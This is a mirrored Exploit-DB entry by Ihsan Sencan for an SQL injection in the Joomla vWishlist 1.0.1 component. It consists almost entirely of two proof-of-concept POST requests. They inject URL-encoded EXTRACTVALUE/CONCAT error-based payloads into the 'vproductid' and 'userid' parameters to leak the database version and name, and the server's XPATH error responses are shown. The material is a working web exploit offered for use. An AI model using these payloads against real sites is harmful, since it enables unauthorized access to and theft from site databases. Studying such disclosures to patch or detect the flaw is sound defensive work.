Joomla! Component vWishlist 1.0.1 – SQL Injection

  • 作者: Ihsan Sencan
    日期: 2019-01-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46225/
  • # Exploit Title: Joomla! Component vWishlist 1.0.1 - SQL Injection
    # Dork: N/A
    # Date: 2019-01-23
    # Exploit Author: Ihsan Sencan
    # Vendor Homepage: http://wdmtech.com/
    # Software Link: https://extensions.joomla.org/extensions/extension/extension-specific/virtuemart-extensions/vwishlist/
    # Version: 1.0.1
    # Category: Webapps
    # Tested on: WiN7_x64/KaLiLinuX_x64
    # CVE: N/A
    
    # POC: 
    # 1)
    # http://localhost/[PATH]//
    # 
    
    POST /[PATH]/ HTTP/1.1
    Host: TARGET
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 372
    Cookie: 1b9dcd66a46474552f38b0164f24ac07=738c74dd230a79b92e8bce29cfd435b9; activeProfile=0; joomla_user_state=logged_in
    DNT: 1
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    option=com_vwishlist&task=wishlist&wishval=1&userid=711&numofQuantity=1&wishQuantshw=1&wishPriceshw=1&wishDatetimeshw=1&vproductid=48%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32,%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29,%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%58: undefined
    HTTP/1.1 500 XPATH syntax error:...
    Date: Tue, 22 Jan 2019 21:54:01 GMT
    Server: Apache
    X-Powered-By: PHP/5.6.16
    X-Logged-In: True
    P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
    Cache-Control: no-cache
    Pragma: no-cache
    Vary: Accept-Encoding
    Connection: close
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    
    # POC: 
    # 2)
    # http://localhost/[PATH]//
    # 
    
    POST /[PATH]/ HTTP/1.1
    Host: TARGET
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 372
    Cookie: 1b9dcd66a46474552f38b0164f24ac07=738c74dd230a79b92e8bce29cfd435b9; activeProfile=0; joomla_user_state=logged_in
    DNT: 1
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    option=com_vwishlist&task=wishlist&wishval=1&userid=711%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32,%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29,%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%58&numofQuantity=1&wishQuantshw=1&wishPriceshw=1&wishDatetimeshw=1&vproductid=48: undefined
    HTTP/1.1 500 XPATH syntax error:...
    Date: Tue, 22 Jan 2019 21:53:42 GMT
    Server: Apache
    X-Powered-By: PHP/5.6.16
    X-Logged-In: True
    P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
    Cache-Control: no-cache
    Pragma: no-cache
    Vary: Accept-Encoding
    Connection: close
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked